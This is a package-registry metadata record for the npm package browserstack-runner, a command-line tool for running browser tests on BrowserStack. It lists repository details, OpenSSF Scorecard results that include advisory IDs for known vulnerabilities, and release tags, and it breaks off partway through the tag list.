{"id":1179855,"name":"browserstack-runner","ecosystem":"npm","description":"A command line interface to run browser tests over BrowserStack","homepage":"https://github.com/browserstack/browserstack-runner","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/browserstack/browserstack-runner","keywords_array":[],"namespace":null,"versions_count":54,"first_release_published_at":"2013-08-02T07:35:29.846Z","latest_release_published_at":"2020-12-16T10:41:13.878Z","latest_release_number":"0.9.4","last_synced_at":"2026-10-04T09:20:02.390Z","created_at":"2022-04-08T13:03:36.888Z","updated_at":"2026-10-04T09:20:02.390Z","registry_url":"https://www.npmjs.com/package/browserstack-runner","install_command":"npm install browserstack-runner","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"0.9.4"},"contentPolicy":null},"repo_metadata":{"id":9727405,"uuid":"11685362","full_name":"browserstack/browserstack-runner","owner":"browserstack","description":null,"archived":true,"fork":false,"pushed_at":"2026-03-13T20:02:57.000Z","size":610,"stargazers_count":132,"open_issues_count":30,"forks_count":61,"subscribers_count":23,"default_branch":"master","last_synced_at":"2026-09-24T17:55:58.059Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/browserstack.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":"CONTRIBUTING.md","funding":null,"license":"MIT-LICENSE.txt","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":"CODEOWNERS","security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2013-07-26T12:35:21.000Z","updated_at":"2026-09-09T08:56:10.000Z","dependencies_parsed_at":"2025-04-05T01:07:35.978Z","dependency_job_id":"fdff69d2-045c-4422-abec-17abaca1009d","html_url":"https://github.com/browserstack/browserstack-runner","commit_stats":{"total_commits":346,"total_committers":48,"mean_commits":7.208333333333333,"dds":0.8352601156069364,"last_synced_commit":"1e85e559951bdf97ffe2a7c744ee67ca83589fde"},"previous_names":[],"tags_count":34,"template":false,"template_full_name":null,"purl":"pkg:github/browserstack/browserstack-runner","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/browserstack","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/sbom","scorecard":{"id":254810,"data":{"date":"2025-08-11","repo":{"name":"github.com/browserstack/browserstack-runner","commit":"5ee5ad0eb28c23275972592997a7605da70fcfa1"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.3,"checks":[{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/Semgrep.yml:22","Info: topLevel 'contents' permission set to 'read': .github/workflows/Semgrep.yml:16","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Code-Review","score":8,"reason":"Found 14/16 approved changesets -- score normalized to 8","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":0,"reason":"0 commit(s) and 0 issue activity found in the last 90 days -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":10,"reason":"all dependencies are pinned","details":["Info:   2 out of   2 GitHub-owned GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: MIT-LICENSE.txt:0","Info: FSF or OSI recognized license: MIT License: MIT-LICENSE.txt:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 28 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":0,"reason":"18 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-v88g-cgmw-v5xw","Warn: Project is vulnerable to: GHSA-93q8-gq69-wqmw","Warn: Project is vulnerable to: GHSA-v6h2-p8h4-qcjw","Warn: Project is vulnerable to: GHSA-fjxv-7rqg-78g4","Warn: Project is vulnerable to: GHSA-896r-f27r-55mw","Warn: Project is vulnerable to: GHSA-p6mc-m468-83gw","Warn: Project is vulnerable to: GHSA-29mw-wpgm-hmr9","Warn: Project is vulnerable to: GHSA-35jh-r3h4-6jhm","Warn: Project is vulnerable to: GHSA-f8q6-p94x-37v3","Warn: Project is vulnerable to: GHSA-vh95-rmgr-6w4m","Warn: Project is vulnerable to: GHSA-xvch-5gv4-984h","Warn: Project is vulnerable to: GHSA-hrpp-h998-j3pp","Warn: Project is vulnerable to: GHSA-p8p7-x288-28g6","Warn: Project is vulnerable to: GHSA-m6fv-jmcg-4jfg","Warn: Project is vulnerable to: GHSA-4rq4-32rv-6wp6","Warn: Project is vulnerable to: GHSA-64g7-mvw6-v9qj","Warn: Project is vulnerable to: GHSA-72xf-g2v4-qvf3","Warn: Project is vulnerable to: GHSA-c4w7-xm78-47vh"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-17T09:23:22.308Z","repository_id":9727405,"created_at":"2025-08-17T09:23:22.309Z","updated_at":"2025-08-17T09:23:22.309Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":342085742,"owners_count":37873396,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-09-30T02:00:06.001Z","response_time":133,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"browserstack","name":"BrowserStack","uuid":"1119453","kind":"organization","description":null,"email":null,"website":"http://www.browserstack.com/","location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/1119453?v=4","repositories_count":203,"last_synced_at":"2024-04-14T06:39:52.911Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/browserstack","funding_links":[],"total_stars":1539,"followers":205,"following":0,"created_at":"2022-11-02T16:27:56.630Z","updated_at":"2024-04-14T06:40:39.143Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/browserstack","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/browserstack/repositories"},"tags":[{"name":"0.9.5","sha":"1e85e559951bdf97ffe2a7c744ee67ca83589fde","kind":"commit","published_at":"2021-04-21T10:36:55.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/0.9.5","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/0.9.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@0.9.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/0.9.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/0.9.5/manifests"},{"name":"v0.9.3","sha":"46b1c4e929815fd4d6aa3a79500c83737c478a0f","kind":"tag","published_at":"2020-08-04T09:06:42.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.9.3","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.9.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.9.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.9.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.9.3/manifests"},{"name":"0.9.1","sha":"1df5c7e5bcf67b21e927e197bc595db27ec88c3a","kind":"commit","published_at":"2020-01-30T08:39:09.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/0.9.1","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/0.9.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@0.9.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/0.9.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/0.9.1/manifests"},{"name":"v0.9.0","sha":"a53fb31cc0f60ff09d4a9e5087d2b23558d3c202","kind":"commit","published_at":"2018-08-30T10:24:03.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.9.0","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.9.0/manifests"},{"name":"v0.8.0","sha":"f146ff08419ef5757572bd7733964731a7ec710d","kind":"commit","published_at":"2018-08-09T12:04:47.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.8.0","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.8.0/manifests"},{"name":"v0.7.1","sha":"527d12de8f2bb7328025eb99271b89805a5fd6a0","kind":"tag","published_at":"2018-08-09T11:11:41.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.7.1","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"fb11e488ecac33e10ca8564a62bfdb9969afd00f","kind":"commit","published_at":"2017-12-07T11:39:06.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.7.0","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.7.0/manifests"},{"name":"v0.6.0","sha":"2e28f70a35ab1e2a7b5353548fe937f3139392f2","kind":"commit","published_at":"2017-12-05T13:05:48.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.6.0","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.6.0/manifests"},{"name":"v0.5.1","sha":"8afbecbdd0d67231f950503d748069948a79b645","kind":"commit","published_at":"2017-05-09T14:24:15.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.5.1","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.5.1/manifests"},{"name":"v0.4.4","sha":"d14d04801fabb34bbd6a518fb6638b73356cdac5","kind":"commit","published_at":"2016-05-12T08:08:03.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.4.4","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"51618fc87a777777a54c71880c866aed334c5315","kind":"commit","published_at":"2016-03-17T06:37:01.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.4.3","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"c31790a29fed0ee1047648a4c36084c89cf1cab2","kind":"commit","published_at":"2016-02-08T15:51:47.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.4.2","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"4edfe6af6cef44f72d297fec40964cc85a35167b","kind":"commit","published_at":"2015-12-24T19:04:04.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.4.1","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"f1630448e6ae6ea3a6098033c26c348d31809fc4","kind":"commit","published_at":"2015-12-24T18:35:50.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.4.0","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.4.0/manifests"},{"name":"v0.3.8","sha":"a65607d318106a8902c515a9a200151bb99e00f8","kind":"commit","published_at":"2015-10-04T15:24:17.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.3.8","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.3.8","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.3.8","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.3.8","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.3.8/manifests"},{"name":"v0.3.7","sha":"ca4c34a7b1f96a97366578e4eeeace3272852013","kind":"tag","published_at":"2015-08-21T15:15:52.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.3.7","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"1f9698ae96da3e08a8e7a02cdc8ff080026e1149","kind":"commit","published_at":"2015-07-31T14:55:45.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.3.6","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"b1a8b921a9d84bcdeaa269850c2b9d8160319887","kind":"commit","published_at":"2015-07-22T13:43:53.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.3.5","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"eaab15188f1e61e918015794cb0438814dbd1f7b","kind":"commit","published_at":"2015-07-13T15:43:08.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.3.4","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"d8ba2902ea4719ff5a29c62a6fecf8c96377e1e3","kind":"commit","published_at":"2015-07-12T17:17:37.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.3.3","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"fce972585207d8b6937d42bd5ddcda2d4079d9e8","kind":"commit","published_at":"2015-07-03T09:22:53.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.3.2","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"1a5bf9099ea60a13eff2deb3be31cf3551516a33","kind":"tag","published_at":"2015-05-14T17:29:43.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/v0.3.1","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/v0.3.1/manifests"},{"name":"0.3.0","sha":"66ed8afa4c0c326f2465c4cdc80e2d9c61344244","kind":"commit","published_at":"2015-03-31T15:58:09.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/0.3.0","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"a63a3fa3ffc16333d4039eec124f9f7020f6210b","kind":"commit","published_at":"2015-03-31T13:53:38.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/0.2.3","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"fb7780db27d13cb464bf610c3449b5d4953e4a38","kind":"commit","published_at":"2015-01-14T07:22:23.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/0.2.2","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/0.2.2/manifests"},{"name":"0.2.1","sha":"7557eda8bac70b01c757899a42d691436eeae2e8","kind":"commit","published_at":"2014-11-07T11:59:15.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/0.2.1","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/0.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@0.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/0.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/0.2.1/manifests"},{"name":"0.2.0","sha":"79f8acc8a023560b668e1b62a6c346640f7db9d2","kind":"commit","published_at":"2014-10-01T13:51:25.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/0.2.0","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/0.2.0/manifests"},{"name":"0.1.14","sha":"544145d26bbc428c0429e628278446694853baea","kind":"commit","published_at":"2014-05-21T11:47:02.000Z","download_url":"https://codeload.github.com/browserstack/browserstack-runner/tar.gz/0.1.14","html_url":"https://github.com/browserstack/browserstack-runner/releases/tag/0.1.14","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/browserstack/browserstack-runner@0.1.14","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/0.1.14","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/browserstack%2Fbrowserstack-runner/tags/0.1.14/manifests"},{"name":"v0.1.13"